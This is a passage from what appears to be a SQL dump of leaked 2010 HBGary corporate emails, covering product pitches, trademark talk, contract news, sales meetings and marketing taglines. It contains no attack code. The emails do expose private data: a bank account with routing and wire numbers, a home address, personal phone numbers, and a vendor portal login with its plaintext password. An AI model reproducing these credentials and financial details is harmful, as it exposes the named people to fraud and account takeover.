image?\r\nist2_3953520-3d-helix-with-binary-code\r\n\r\n\r\n',13359,'aaron_hbgary_com/13359.html'),(5182,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003801.M284260P14101Q37.eml','dale.graham@ngc.com','Automated Malware Reverse Engineering','Hi Dale,\r\n\r\nI heard you may be in Colorado Springs this week.  I mentioned to you\r\nthe last we met that HBGary was developing an automated malware reverse\r\nengineering platform.  At that time we were reverse engineering 5,000\r\nmalware per day.  Since then we have made significant improvements, and\r\nwe are now automatically processing 17,000 per day.  We call this\r\nsolution the Threat Management Center (TMC), and it is nearly through\r\nour product development process and ready to be shrink-wrapped as COTS.\r\n I think that this technology could be very beneficial to the 1st IO\r\nmission.  It is very effective against sophisticated zero-day exploits,\r\ncould greatly increase the amount of malware the organization is capable\r\nof analyzing, and because TMC racks and stacks the malware by severity,\r\nit can help to focus human analyst efforts.  If you have some time this\r\nweek, I\'d love to get together for lunch to discuss.\r\n\r\nAttached are two whitepapers we recently published that you might find\r\ninteresting (pdfs, zipped with .ngzip extension).  One is our analysis\r\nof Operation Aurora, the APT attack against Google and a dozen other\r\ncompanies.  The second paper describes how HBGary Responder can be used\r\nfor software exploitation.\r\n\r\nRegards,\r\n\r\nTed\r\n719-237-8623\r\n',11949,'aaron_hbgary_com/11949.html'),(5183,'2010-04-12','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003801.M657632P14101Q38.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ActiveDefense','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have applied for a trademark, and just because they use it\r\ndoesn&#8217;t mean it&#8217;s trademarked.&nbsp; We have &#8220;History&#8221; of use on our side\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, April 12, 2010 8:12 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy\r\nSubject: Re: ActiveDefense\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI thought we had a trademark?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 12, 2010 at 7:56 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPCTools acquired a company\r\ncalled Novatix last May which developed a tool called Cyberhawk which\r\nsupposedly did behavior based malware detection. &nbsp;This product has been\r\nrebranded under PCTools as ThreatFire\'s ActiveDefense.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10648,'aaron_hbgary_com/10648.html'),(5184,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003801.M994194P14101Q39.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: ActiveDefense','They &quot;claim&quot; tm also.AaronFrom my iPhoneOn Apr 12, 2010, at 12:49 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe have applied for a trademark, and just because they use it\r\ndoesn’t mean it’s trademarked.  We have “History” of use on our side\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, April 12, 2010 8:12 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy\r\nSubject: Re: ActiveDefense\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nI thought we had a trademark?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 12, 2010 at 7:56 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPCTools acquired a company\r\ncalled Novatix last May which developed a tool called Cyberhawk which\r\nsupposedly did behavior based malware detection.  This product has been\r\nrebranded under PCTools as ThreatFire&#39;s ActiveDefense.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',616,'aaron_hbgary_com/616.html'),(5185,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003803.M164761P14101Q40.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,rich@hbgary.com,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','HBGary Federal Funding','The first quarterly round of HBGary Federal funding was due on April\r\n1st, with amounts due as follows:\r\n\r\nPenny Leavy:  $39,013.33\r\nHBGary Inc:  $12,191.67\r\nNina Slapnick:  $5,689.45\r\nRich Cummings:  $1,625.57\r\n\r\nPlease send your check to:\r\n\r\nHBGary Federal\r\nC/O Ted Vera\r\n874 Legend Oak Dr.\r\nFountain, CO 80817\r\n\r\nor transfer / wire:\r\n\r\nThe acct # is 3803053804\r\nThe routing # is 121042882\r\nThe wire routing # is 121000248\r\n\r\nPlease let me know if you have any questions.\r\n\r\nTed\r\n',11703,'aaron_hbgary_com/11703.html'),(5186,'2010-04-12','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003811.M475404P14101Q41.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Maryland SMART Event','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this a real thing?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor, Terrance\r\n[mailto:terrance.taylor@mail.house.gov] \r\nSent: Monday, April 12, 2010 8:35 AM\r\nTo: Taylor, Terrance\r\nSubject: FW: Maryland SMART Event\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDear Business Leader:\r\n\r\n&nbsp;\r\n\r\nCongressman Hoyer would like to\r\ninvite you the Maryland SMART event on April 19th.&nbsp;&nbsp;\r\nPlease RSVP to the website on the flyer. Thanks \r\n\r\nTerrance \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTerrance Taylor, Deputy\r\nDistrict Director\r\n\r\nOffice of Congressman Steny Hoyer (MD-05)\r\n\r\nHouse Majority Leader\r\n\r\nU.S. House of Representatives \r\n\r\n6500 Cherrywood Lane #310\r\n\r\nGreenbelt, MD 20770\r\n\r\noffice: 301.474.0119\r\n\r\nfax: 301.474.4697\r\n\r\nterrance.taylor@mail.house.gov\r\n\r\n&nbsp;\r\n\r\nwww.hoyer.house.gov\r\n\r\nwww.majorityleader.gov\r\n\r\n&nbsp;\r\n\r\nSubscribe to our National Email Lists or\r\nour Maryland Email List\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15089,'aaron_hbgary_com/15089.html'),(5187,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003812.M382141P14101Q43.eml','\"Ted Vera\" <tedvera@me.com>','Fwd: Virtual Introduction','We need reqs out today.From my iPhoneBegin forwarded message:From: &quot;Mulville, Michael E.&quot; &lt;MICHAEL.E.MULVILLE@saic.com&gt;\r\nDate: April 12, 2010 1:04:43 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Virtual Introduction\r\n\r\nAaron -  we won. Found out very late Friday.More to follow\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Mulville, Michael E.\r\nSent: Mon Apr 12 12:08:52 2010Subject: Re: Virtual Introduction\r\n\r\nPostponed again or did you get news?  I have been looking but haven&#39;t seen anything.AaronOn Apr 5, 2010, at 2:26 PM, Mulville, Michael E. wrote:\r\n\r\nAaron – Now looks like April 9th – per NSA\r\n \r\n \r\n \r\nr /Mike\r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 2:19 PMTo: Mulville, Michael E.Subject: Re: Virtual Introduction\r\n \r\nHey Mike, \r\nAny word? \r\nAaron \r\nOn Mar 16, 2010, at 9:35 PM, Mulville, Michael E. wrote:\r\nAaron –\r\n \r\nAnnouncement slipped til March 31\r\n \r\n \r\n \r\nMike\r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 4:52 PMTo: Mulville, Michael E.Subject: Re: Virtual Introduction\r\n \r\nHey Mike, \r\nJust checking in.  Last time we talked we didn&#39;t talk about NANA.  If you win are you guys going to need any staffing help?\r\n Have a good weekend.\r\n \r\nAaron \r\nOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:\r\nAaron –\r\n \r\nThanks for the note back.  This week is a bit crazy,  how about next ?\r\n \r\n \r\n \r\nMike\r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 11:29 PMTo: Mulville, Michael E.Subject: Re: Virtual Introduction\r\n \r\nI actually didn&#39;t head out to DC3.  I will be out in Colorado Springs most of next week.  How does your week this week look.  I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n \r\nAaron \r\n \r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\nMatt –\r\n \r\nThanks for the introduction.\r\n \r\nAaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.\r\n \r\nI assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.\r\n \r\nThanks – Mike Mulville\r\n \r\n \r\n \r\nMike\r\n \r\n\r\nFrom: Matt O&#39;Flynn [mailto:matt@hbgary.com] \r\nSent: Thursday, January 21, 2010 1:50 PMTo: Mulville, Michael E.; michael.p.courtny@saic.com; &#39;Aaron Barr&#39;\r\nSubject: Virtual Introduction\r\n \r\nMike &amp; Michael,\r\n \r\nGood seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.\r\n \r\nAaron Barr\r\n719-510-8478-Cell\r\n \r\nMike Mulville\r\n703-622-9121\r\n \r\nMichael Courtny              \r\n443-306-5683\r\n \r\nBest,\r\n \r\nMatt O&#39;Flynn\r\n954-559-6934\r\nwww.hbgary.com\r\n \r\n \r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n \r\n \r\n  \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n \r\n \r\n  \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n \r\n  \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',4942,'aaron_hbgary_com/4942.html'),(5188,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003812.M604077P14101Q44.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Maryland SMART Event','Yep.  It\'s real.\r\n\r\n From my iPhone\r\n\r\nOn Apr 12, 2010, at 12:57 PM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> Is this a real thing?\r\n>\r\n>\r\n>\r\n> From: Taylor, Terrance [mailto:terrance.taylor@mail.house.gov]\r\n> Sent: Monday, April 12, 2010 8:35 AM\r\n> To: Taylor, Terrance\r\n> Subject: FW: Maryland SMART Event\r\n>\r\n>\r\n>\r\n> Dear Business Leader:\r\n>\r\n>\r\n>\r\n> Congressman Hoyer would like to invite you the Maryland SMART event\r\n> on April\r\n> 19th.   Please RSVP to the website on the flyer. Thanks\r\n>\r\n> Terrance\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Terrance Taylor, Deputy District Director\r\n>\r\n> Office of Congressman Steny Hoyer (MD-05)\r\n>\r\n> House Majority Leader\r\n>\r\n> U.S. House of Representatives\r\n>\r\n> 6500 Cherrywood Lane #310\r\n>\r\n> Greenbelt, MD 20770\r\n>\r\n> office: 301.474.0119\r\n>\r\n> fax: 301.474.4697\r\n>\r\n> terrance.taylor@mail.house.gov\r\n>\r\n>\r\n>\r\n> www.hoyer.house.gov \r\n>\r\n> www.majorityleader.gov \r\n>\r\n>\r\n>\r\n> Subscribe to our\r\n> \r\n> National Email\r\n> Lists or our   Maryland Email\r\n> List\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> \r\n',1345,'aaron_hbgary_com/1345.html'),(5189,'2010-04-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297003812.M811414P14101Q45.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','meeting next week with US-CERT','Aaron\r\n \r\nIs there a good time to speak with you this week in preparation for the meeting with GD/US-CERT?\r\n \r\nI told Phil that I would get an agenda so that he is aware of who will be driving the meeting / objectives and what he will be expected to present.\r\n \r\nPhil has been working with the US-CERT recently.  Although they have had Responder Pro for over a year it was mostly shelfware until recently.  The US-CERT has (3) copies of Responder Pro with Digital DNA.  After the meeting Phil will stay and work with Sean Soberiej on tips and tricks.  I&#39;ve not been able to get the US-CERT folks yet to formal training.\r\n\r\n \r\nI assume there is an opportunity to sell them the DDNA Server Farm with customization for HBGary Federal in addition to the other objectives of the meeting...  I will review with Penny as well.\r\n \r\nThanks\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',1093,'aaron_hbgary_com/1093.html'),(5190,'2010-04-12','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297003812.M9418P14101Q42.eml','aaron@hbgary.com','Re: Virtual Introduction','\r\nAaron -  we won. Found out very late Friday.More to follow\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Mulville, Michael E.Sent: Mon Apr 12 12:08:52 2010Subject: Re: Virtual Introduction\r\nPostponed again or did you get news? &nbsp;I have been looking but haven\'t seen anything.AaronOn Apr 5, 2010, at 2:26 PM, Mulville, Michael E. wrote:Aaron – Now looks like April 9th&nbsp;– per NSA&nbsp;&nbsp;&nbsp;r /Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 2:19 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hey Mike,&nbsp;Any word?&nbsp;Aaron&nbsp;On Mar 16, 2010, at 9:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Announcement slipped til March 31&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 4:52 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hey Mike,&nbsp;Just checking in. &nbsp;Last time we talked we didn\'t talk about NANA. &nbsp;If you win are you guys going to need any staffing help?&nbsp;Have a good weekend.&nbsp;Aaron&nbsp;On Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8344,'aaron_hbgary_com/8344.html'),(5191,'2010-04-12','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003818.M751264P14101Q46.eml','\"Aaron Barr\" <aaron@hbgary.com>','Potential Opportunity','Aaron,My friend owns a government contracting company.  He sent me the following information.  They do business with these guys:Subject: DOE Cyber Security\r\nAssessment\r\n\r\n \r\n\r\nTotal Small Business set\r\naside.  Response due 16 April at 11:59PM...\r\n\r\n \r\n\r\nPrime contractor to DOE NNSA,\r\nis seeking sources to perform an assessment of our cyber security program on a\r\nfirm\r\n\r\nfixed price subcontract.  The\r\nSubcontractor shall perform a baseline assessment of the cyber program (3000\r\nemployees) based on the control\r\n\r\nfamilies found in NIST SP\r\n800-53.  Subcontractor shall provide two additional site visits (estimated\r\n1 week per visit) this fiscal year to\r\n\r\nmeasure progress in meeting\r\ndeficiencies identified during the baseline visit.  Contractor key\r\npersonnel must have the ability to acquire a Q level\r\n\r\nsecurity clearance. \r\n\r\n \r\n\r\nInterested parties must\r\ndemonstrate technical capability by providing brief approach of how the assessment\r\nwill be conducted (limited to 3 pages) and\r\n\r\ndemonstrate a minimum experience\r\nof 5 years and 3 assessments similar in scope and magnitude.If you&#39;re interested I&#39;ll get more info.-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',15432,'aaron_hbgary_com/15432.html'),(5192,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003818.M977622P14101Q47.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Order #102373 Confirmation','GoodBegin forwarded message:From: Brian C Burmeister &lt;bburmeister@propricer.com&gt;\r\nDate: April 12, 2010 11:14:21 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: Support &lt;support@propricer.com&gt;, Alice Jovalusky &lt;ajovalusky@solutionsbyebs.com&gt;\r\nSubject: Re: Order #102373 ConfirmationTed, I can give you until 30Apr for eval. The extension code is 956-3393037. Please give me a call next week so that we can go over the status. \r\nWarm Regards,Brian C BurmeisterProPricer &quot;Industry Proven&quot; Proposal Pricing Software\r\n\r\nOffice: 704-367-3402     |     Fax: 704-367-2578     |     Mobile: 703-665-0443------------&gt;8-------------------------------------------8&lt;---------------------NOTE: Your email sent to me may not be responded to immediately.\r\n\r\n\r\nDuring the work week, I do my best to respond within 24 hours,however I only check my inbox a few hours of the day.If immediate attention requested, please phone.------------&gt;8-------------------------------------------8&lt;---------------------\r\n\r\n\r\n On Fri, Apr 9, 2010 at 7:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nHi Brian,\r\n\r\nThings got a bit hectic.  I just realized my evaluation period ended\r\ntoday.  Is there any chance I can get an extension?  Things have been\r\ngoing pretty well, except for the snag that I called you about.\r\nReinstalling seemed to clear it up.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Mar 9, 2010 at 2:18 PM, Brian C Burmeister\r\n&lt;bburmeister@propricer.com&gt; wrote:\r\n&gt; Please see email below.\r\n&gt;\r\n&gt; Warm Regards,\r\n&gt;\r\n&gt; Brian C Burmeister\r\n&gt; ProPricer &quot;Industry Proven&quot; Proposal Pricing Software\r\n&gt; Office: 704-367-3402     |     Fax: 704-367-2578     |     Mobile:\r\n&gt; 703-665-0443\r\n&gt;\r\n&gt; ------------&gt;8-------------------------------------------8&lt;---------------------\r\n&gt; NOTE: Your email sent to me may not be responded to immediately.\r\n&gt; During the work week, I do my best to respond within 24 hours,\r\n&gt; however I only check my inbox a few hours of the day.\r\n&gt; If immediate attention requested, please phone.\r\n&gt; ------------&gt;8-------------------------------------------8&lt;---------------------\r\n&gt;\r\n&gt;\r\n&gt; On Tue, Mar 9, 2010 at 3:03 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt; Can you please send me the .inf file reflecting the Company Name as:\r\n&gt;&gt; HBGary Federal, LLC.\r\n&gt;&gt;\r\n&gt;&gt; Change Name\r\n&gt;&gt;\r\n&gt;&gt; To change the company name, you have to inform EBS that you want to do\r\n&gt;&gt; the change and provide the new name. We will send you an information\r\n&gt;&gt; file (file name extension .inf) carrying the new name. After you\r\n&gt;&gt; receive this file, you can proceed with the change. Click this button\r\n&gt;&gt; to open the Select the file containing the new company name dialog box\r\n&gt;&gt; where you can locate the .inf file carrying the new company name.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Tue, Mar 9, 2010 at 12:18 PM, Alice Jovalusky\r\n&gt;&gt; &lt;ajovalusky@solutionsbyebs.com&gt; wrote:\r\n&gt;&gt; &gt; Dear Ted,\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Thank you for your recent order.  Your order has been processed and is\r\n&gt;&gt; &gt; available for download/installation.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; To download the software, do the following:\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; 1. Go to https://support.propricer.com\r\n&gt;&gt; &gt; 2.  It will then ask you for a Customer ID and Password.  Your Customer\r\n&gt;&gt; &gt; ID is TVera and your password is V0E7R8A4.\r\n&gt;&gt; &gt; 3.  Select Downloads tab and then the appropriate file.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; If you have any questions at all, please do not hesitate to call\r\n&gt;&gt; &gt; Technical Support at 951-693-0440 or email at support@propricer.com\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; --\r\n&gt;&gt; Ted H. Vera\r\n&gt;&gt; President | COO\r\n&gt;&gt; HBGary Federal\r\n&gt;&gt; 719-237-8623\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n',1705,'aaron_hbgary_com/1705.html'),(5193,'2010-04-12','\"Shawn Bracken\" <shawn@hbgary.com>','/aaron@hbgary.com/new/1297003819.M288144P14101Q48.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','RE: Some New Taglines from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nA variation on my original &#8220;Detecting Tomorrows Malware\r\nToday&#8221; could be:\r\n\r\n&nbsp;\r\n\r\n&#8220;Protecting today&#8217;s networks from tomorrows threats&#8221;\r\n\r\n&nbsp;\r\n\r\nSome other potentials could be:\r\n\r\n&nbsp;\r\n\r\n&#8220;Protecting your network from advanced digital threats&#8221;\r\n\r\n&nbsp;\r\n\r\n&#8220;Advanced Threat Detection and Mitigation &#8211;\r\nSimplified.&#8221;\r\n\r\n&nbsp;\r\n\r\n&#8220;Enterprise Malware Detection &#8211; Simplified.&#8221;\r\n\r\n&nbsp;\r\n\r\nSome other misc taglines:\r\n\r\n&nbsp;\r\n\r\n&#8220;HBGARY - It&#8217;s your network &#8211; Shouldn&#8217;t\r\nyou be in control?&#8221;\r\n\r\n&#8220;HBGARY - Isn&#8217;t it time you had a good night of\r\nsleep again?&#8221;\r\n\r\n&#8220;HBGARY - reversing malicious software.&#8221;\r\n\r\n&#8220;HBGARY &#8211; Turning the tables on malicious software.&#8221;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, April 11, 2010 11:34 AM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Some New Taglines from Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise\r\nproduct\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS\r\nand AV fails\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as\r\n&quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian\r\nbank-info stealing malware, where &quot;Global Threats&quot; implies\r\ngovernments and hostile organizations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Using the word Defense implies Threat.&nbsp;&nbsp;So,\r\nthese two words are interchangable.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&quot;Assurance&quot; implies more of an\r\nongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t come off as wordy, lets us get the big-boy version\r\nof APT in\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t have the &quot;we are a product company&quot;\r\npunch\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp; Using the word Protection requires additional\r\nclarifying words.&nbsp;&nbsp;Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not\r\nneccesarily enteprise product\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with\r\nconsumer grade protection &amp; AV\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could\r\nalso mean incident response 